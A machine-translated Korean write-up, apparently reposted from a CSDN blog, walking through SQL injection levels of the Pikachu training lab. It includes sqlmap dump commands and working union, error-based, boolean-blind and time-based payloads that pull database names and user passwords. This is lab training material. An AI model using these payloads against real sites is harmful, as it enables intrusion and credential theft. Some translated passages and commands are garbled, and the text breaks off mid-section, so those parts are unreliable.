피카츄-----Sql Inject(SQL 인젝션)

목차

 1. SQL 인젝션

1. 소개

둘, sqlmap

1. 소개

셋, 돌파하다

1. 디지털 주입(포스트)

2. 문자 주입(get)

3. 검색 주입

 4.xx 유형 주입

5. "삽입/업데이트" 주입 

 6. 삭제 주입

7. HTTP 헤더 삽입

8. 블라인드 주입(부울 기반)은 오류 보고를 기반으로 합니다.

9. 블라인드(시간 기준) 시간 기준

10. 와이드 바이트 주입


 1. SQL 인젝션

1. 소개

공식 소개

SQL 주입 취약점이 형성되는 주된 이유는 데이터 상호 작용에서 프런트 엔드 데이터가 처리를 위해 백그라운드로 전달될 때 엄격한 판단이 이루어지지 않아 들어오는 "데이터"가 SQL 문과 SQL 문으로 취급 부분 실행. 결과적으로 데이터베이스가 손상되었습니다 (해제, 삭제 또는 전체 서버 권한이 떨어짐).

코드를 작성할 때 SQL 인젝션 취약점을 방지하기 위해 일반적으로 다음 전략이 사용됩니다:
1. SQL 문으로 전달되는 변수를 필터링하고 위험한 문자가 전달되는 것을 허용하지 않습니다
.
3. 이외에도 현재 자동으로 파라미터화를 통해 인젝션 문제를 해결하는 ORM 프레임워크가 많이 있지만 "스티칭" 방식도 제공하고 있으니 사용시 주의가 필요합니다!

둘, sqlmap

1. 소개

sqlmap은 SQL 인젝션 감지를 위한 자동화 도구입니다.

--batch: 이 매개변수를 사용하면 사용자 입력이 필요하지 않으며 sqlmap이 프롬프트하는 기본값이 계속 실행되는 데 사용됩니다.

--technique: 주입 기법 선택, B: Boolean-based-blind (Boolean blind injection)

--threads 10 : 스레드를 10으로 설정하면 실행 속도가 빨라집니다.

#쿼리 데이터베이스#【보안】

대상 U 지정 매개  
변수 -u 또는 –url을 사용하여 URL을 대상으로 지정하고 그 뒤에 URL을 나타내는 문자열이 오고 포트도 지정할 수 있습니다.

(2) GET 유형

* 주입 지점 확인  
sqlmap.py -u URL  
* 모든 데이터베이스 분해  
sqlmap.py -u URL --cshiurrent --dbs  
* 테이블 분해  
sqlmap.py -u URL -D 데이터베이스 이름 --tables  
* 열 분해  
sqlmap.py - u URL-D 데이터베이스 이름-T 테이블 이름-열  
* 버스트 값  
sqlmap.py -u URL-D 데이터베이스 이름-T 테이블 이름-C 필드 이름--dump 


(3) 포스트 타입 

* 스캔 주입 유형  
페이로드: python sqlmap.py -r "D:\post.txt"
* 모든 데이터베이스 분해  
python sqlmap.py -r "D:\post.txt" --dbs  
* 테이블 분해  
python sqlmap.py - r "D:\post.txt" -D 데이터베이스 이름 --tables  
* 버스트 열  
python sqlmap.py -r "D:\post.txt" -D 데이터베이스 이름 -T 테이블 이름 --columns  
* 버스트 값  
python sqlmap.py -r "D:\post.txt" -D 데이터베이스 이름 -T 테이블 이름 -C 필드 이름 --dump  
 

셋, 돌파하다

1. 디지털 주입(포스트)

수준을 입력하고 쿼리 상자에 선택할 수 있는 6개의 숫자가 있는지 확인합니다.

 쿼리 1, 반환된 결과는 다음과 같습니다. 게시 방법이므로 URL이 변경되지 않았습니다.

 bp 패킷 캡처

삽입 지점이 있는지 확인하려면 작은따옴표'를 사용하십시오.

 1=2 에코 오류

   id=1 및 1=1 에코가 정상이고 주입 지점이 있으며 디지털 주입이 확인되었습니다.

1.1 필드 길이 추측

x(숫자)로 주문

id=1 order by 2

 order by 3은 두 개의 열이 있음을 나타내는 오류를 보고합니다.

 1.2 데이터베이스 쿼리

id=1 union select database(),2#

 이전 단계에서 찾은 필드에는 두 개의 열이 있습니다.

 데이터베이스 피카추 찾기

id=1 union select database(),version()#

 1.3 테이블 이름 얻기

 id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

 1.4 필드 이름 얻기

id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'#

 

1.5 쿼리 필드 값

id=1 union select username,password from users#

암호는 md5로 암호화되어 있으며 jhttps://www.cmd5.com/은 웹 사이트에 들어가 암호를 해독합니다.

2. 문자 주입(get)

 get 메소드에 입력한 내용은 URL에 표시됩니다.

 2.1 주입 방식의 판단

kobe와 같이 데이터베이스에 이름을 입력해야 합니다.

작은따옴표가 없으면 오류가 보고됩니다. 문자형 주입으로 판단됩니다.

 

2.2 판단자단수 

kobe' order by 2#

kobe' order by 3#

 

 따라서 필드 수는 2입니다.

2.3 디스플레이 위치 판단

kobe' union select 1,2#

 위치 1과 2 모두 올바르게 반향될 수 있으며 관절 주입은 위치 1과 2에서 사용됩니다.

2.4 폭발성 라이브러리

1' union select 1,group_concat(schema_name) from (information_schema.schemata) #  
 所有数据库  
1' union select 1,database() #   当前数据库  

모든 데이터베이스:

 현재 데이터베이스:

 2.5 버스트 테이블
 

1' union select 1,group_concat(table_name)from(information_schema.tables) where table_schema='pikachu' # 数据库

2.6 버스트

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' #  当前数据库的指定表名
1' union select 1,group_concat(column_name) from (information_schema.columns) where table_name='表名' #  在所有数据库中指定一个表名

 2.7 버스트 데이터

1' union select username,password from users#

3. 검색 주입

일반 검색바는 '%keyword%' 형태로 존재하지만 페이지 내 쿼리인지 데이터베이스 내 쿼리인지 명확하게 구분되어야 한다.

select username,id,email from member where username like '%$name%';

构造后
select username,id,email from member where username like '%kobe%' and 1=1 #';

 4.xx 유형 주입

소위 xx 유형 주입은 입력 값이 다양한 기호(작은따옴표, 큰따옴표, 괄호 등)로 둘러싸일 수 있음을 의미합니다.

"select id,email from member where username=('$name')";

 파이로드:

aaa') union select 'aaa',group_concat(concat_ws(':',username,password)) from pikachu.users#

5. "삽입/업데이트" 주입 

삽입, 삽입 주입은 우리 프런트 엔드에 등록된 정보를 말하며 배경은 삽입 작업을 통해 데이터베이스에 삽입합니다. 백그라운드가 입력에 대한 SQL 주입을 방지하지 않는 경우 등록 중에 SQL 주입을 접합할 수 있습니다.

 bp 패킷 캡처

오류 주입 사용

오류 주입을 위해 extractvalue 또는 updatexml을 사용할 수 있습니다.

EXTRACTVALUE(XML_document, XPath_string),
첫 번째 매개변수: XML_document는 XML 문서 개체의 이름인 문자열 형식입니다. 두
번째 매개변수: XPath_string(Xpath 형식의 문자열)
기능: 쿼리된 값을 포함하는 문자를 반환합니다. target XML
xpath가 구문을 준수하지 않을 때 명령문이 오류 XPATH 구문 오류:(주입 정보)를 보고하므로 쿼리할 정보를 xpath에 넣고 다음을 통해 표시할 수 있기 때문에 문자열을 주입에 사용할 수 있습니다. 오류 보고.

페이로드 분석: 1 뒤의 작은따옴표는 닫히기 전의 작은따옴표이고, 페이로드의 마지막 작은따옴표는 닫힘 뒤의 작은따옴표이며, 또는 또는 및로 연결할 수 있으며 extractvalue에는 두 개가 있습니다. () 매개변수 첫 번째 매개변수는 임의로 채울 수 있으며 여기서는 두 번째 매개변수에 초점을 맞춥니다.

선택 후 문을 바꾸십시오.

payload:1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
payload:1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '

 

마찬가지로 로그인할 때 오류 주입을 사용할 수도 있습니다.

payload:1' or updatexml(1,concat(0x7e,database(),0x7e),1) or '

 6. 삭제 주입

인터페이스 주입을 삭제하고 메시지를 작성하고 삭제를 클릭하고 패킷을 캡처합니다.

id=99+or+updatexml(1,concat(0x7e,database()),1)  #查询数据库
   +or+updatexml(1,concat(0x7e,version()),0)  #查询数据库版本

7. HTTP 헤더 삽입

매개변수 사이의 주입 외에도 http 헤더에도 주입이 있을 수 있는데,
먼저 로그인 비밀번호가 정확해야 합니다. ip, user-agent, http-accept 모두 데이터베이스에 기록되어 있는 것으로 확인됨

 사용자 에이전트에서 오류 주입 사용

8. 블라인드 주입(부울 기반)은 오류 보고를 기반으로 합니다.

어떤 경우에는 배경에서 오류 보고를 차폐하기 위해 오류 차폐 방법을 사용하는데, 이때 오류 보고 정보를 기반으로 주입 판단을 할 수 없습니다.

이런 경우의 인젝션을 "블라인드 인젝션"이라고 합니다. 즉, 인젝션된 SQL 문이 제대로 수행되었는지는 페이지가 맞는지 확인해야만 판단할 수 있습니다. 사실 블라인드 인젝션 방식의 웹사이트도 많습니다. .

kobe' and 1=1# 正常
kobe' and 1=2# 报错

부울 블라인드 주입 과정에서 이분법과 mid(), ascii(), length() 등과 같은 일부 mysql 함수를 사용해야 합니다.

ascii(): 맨 왼쪽 문자의 ASCII 코드를 반환합니다. 문자열이 비어 있으면 0을 반환하고 문자열이 NULL이면 NULL을 반환합니다.

length(): 문자열 길이를 바이트 타입으로 반환합니다.

예를 들어 데이터베이스 이름을 분해하려면 먼저 데이터베이스의 길이를 알아야 하며 그런 다음 데이터베이스 이름의 각 문자를 하나씩 분해해야 합니다.

kobe' and length(database())>10 #   ==>   页面错误
kobe' and length(database())>5 #   ==>   页面正确
kobe' and length(database())>8 #   ==>   页面错误
kobe' and length(database())>6 #   ==>   页面正确
kobe' and length(database())=7 #   ==>   页面正确

다음은 모든 문자입니다(for 루프를 사용하여 폭발하는 것과 유사).

첫 번째 문자:

kobe' and ascii(mid(database(),1,1))>115 #  ==> 页面错误
kobe' and ascii(mid(database(),1,1))>110 #  ==> 页面正确
kobe' and ascii(mid(database(),1,1))>112 #  ==> 页面错误
kobe' and ascii(mid(database(),1,1))=112 #  ==> 页面正确

첫 번째 문자의 ASCII 코드는 112이고 해당 문자는 p입니다.

나머지 문자가 차례로 폭발합니다: 피카츄

  •     버스트 데이터베이스의 모든 테이블 수
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #  ==>  页面错误
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5 #  ==>  页面正确

얻은 테이블의 수는 5입니다

  •     첫 번째 테이블의 길이 분해
kobe' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8 #  ==>  页面错误
  •     첫 번째 테이블의 모든 문자 분해
kobe' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 #  ==>  页面错误

첫 번째 테이블의 첫 번째 문자를 h로 가져온 다음 첫 번째 테이블을 httpinfo로 가져옵니다.

  •     지정된 테이블의 필드 수 분해

지금 사용자 테이블의 필드 수를 확장하려면 다음을 수행하십시오.

kobe' and (select count(column_name) from information_schema.columns where
 table_schema=database() and table_name='users')=4 #

사용자의 필드 수는 4개로 알려져 있습니다.

  •     첫 번째 필드의 길이 분해
kobe' and length((select column_name from information_schema.columns where
 table_schema=database() and table_name='users' limit 0,1))=2 #
  •     첫 번째 필드의 모든 값 분해
kobe' and ascii(mid((select column_name from information_schema.columns where
 table_schema=database() and table_name='users' limit 0,1),1,1))=105 #

이 아이디어에 따르면 전체 데이터베이스를 분해할 수 있습니다.
일반적으로 말하면 더 번거롭고 실용적이지 않으며 아이디어에 대해서만 이야기합니다.

9. 블라인드(시간 기준) 시간 기준

Boolean blind injection은 주입된 SQL 문이 성공적으로 실행되었는지 여부를 판단하기 위해 페이지가 올바른지 여부도 볼 수 있지만 지연 주입은 반환 정보를 볼 수 없습니다.

부울 조건의 반환 값을 통해 sleep() 함수를 실행하여 웹 페이지의 응답을 지연시켜야만 부울 조건이 참인지 판단할 수 있습니다.

kobe' and sleep(5) #  延迟5秒

 부울 시간 주입을 나타내는 눈에 띄는 지연이 있습니다.

数据库名长度不大于7 就延时9秒

kobe' and sleep(if(length(database())>7,0,9)) # ==> 延时

 /数据库名长度等于7 就不延时

kobe'andsleep(if(length(database())=7,0,3)) # ==> 不延时

10. 와이드 바이트 주입

실제 웹 사이트에서는 특수 문자에 의한 SQL 문 오염을 필터링하기 위해 많은 특수 문자가 이스케이프됩니다.

작은 따옴표가 \'로 이스케이프되고 SQL 문을 구성할 수 없는 경우 와이드 바이트 주입을 시도할 수 있습니다.

%df 및 \wide 바이트를 사용하여 'op

추천

출처blog.csdn.net/m0_65712192/article/details/128395604